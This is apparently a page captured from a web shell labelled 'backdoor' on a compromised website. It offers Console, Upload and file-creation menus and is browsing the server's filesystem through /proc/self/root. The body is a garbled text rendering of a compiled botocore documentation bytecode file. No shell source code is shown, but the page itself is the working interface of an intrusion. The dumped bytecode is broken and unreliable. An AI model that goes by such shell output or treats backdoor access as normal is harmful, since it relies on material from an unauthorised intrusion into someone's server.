Website : rimsha.abasa.com
backdoor
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
lib
/
python3
/
dist-packages
/
botocore
/
docs
/
__pycache__
/
Filename :
client.cpython-310.pyc
back
Copy
o <&�a�2 � @ s� d dl mZ d dlmZ d dlmZ d dlmZ d dlmZ d dlm Z d dl mZ d dl mZ d d l mZ d d� ZG dd � d e�ZG dd� de�ZdS )� )�get_official_service_name��document_custom_method)�document_model_driven_method)�get_instance_public_methods)�document_shared_examples)�ResponseExampleDocumenter)�ResponseParamsDocumenter)�DocumentedShape)�OrderedDictc K s | dkrd S |dv S )N�generate_presigned_url)�s3� )�method_name�service_name�kwargsr r �6/usr/lib/python3/dist-packages/botocore/docs/client.py�!_allowlist_generate_presigned_url s r c @ s� e Zd ZegZd dd�Zdd� Zdd� Zdd � Zd d� Z dd � Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd� Zdd� ZdS )!�ClientDocumenterNc C s. || _ || _| jd u ri | _| j jjj| _d S �N)�_client�_shared_examples�meta� service_modelr � _service_name)�self�client�shared_examplesr r r �__init__# s zClientDocumenter.__init__c C s8 | � |� | �|� | �� }| �||� | �||� dS )z]Documents a client and its methods :param section: The section to write to. N)� _add_title�_add_class_signature�_get_client_methods�_add_client_intro�_add_client_methods)r �section�client_methodsr r r �document_client* s z ClientDocumenter.document_clientc C s t | j�}| �|�S r )r r �_filter_client_methods)r r% r r r r! 5 s z$ClientDocumenter._get_client_methodsc C s8 i }|� � D ]\}}| j||| jd�}|r|||<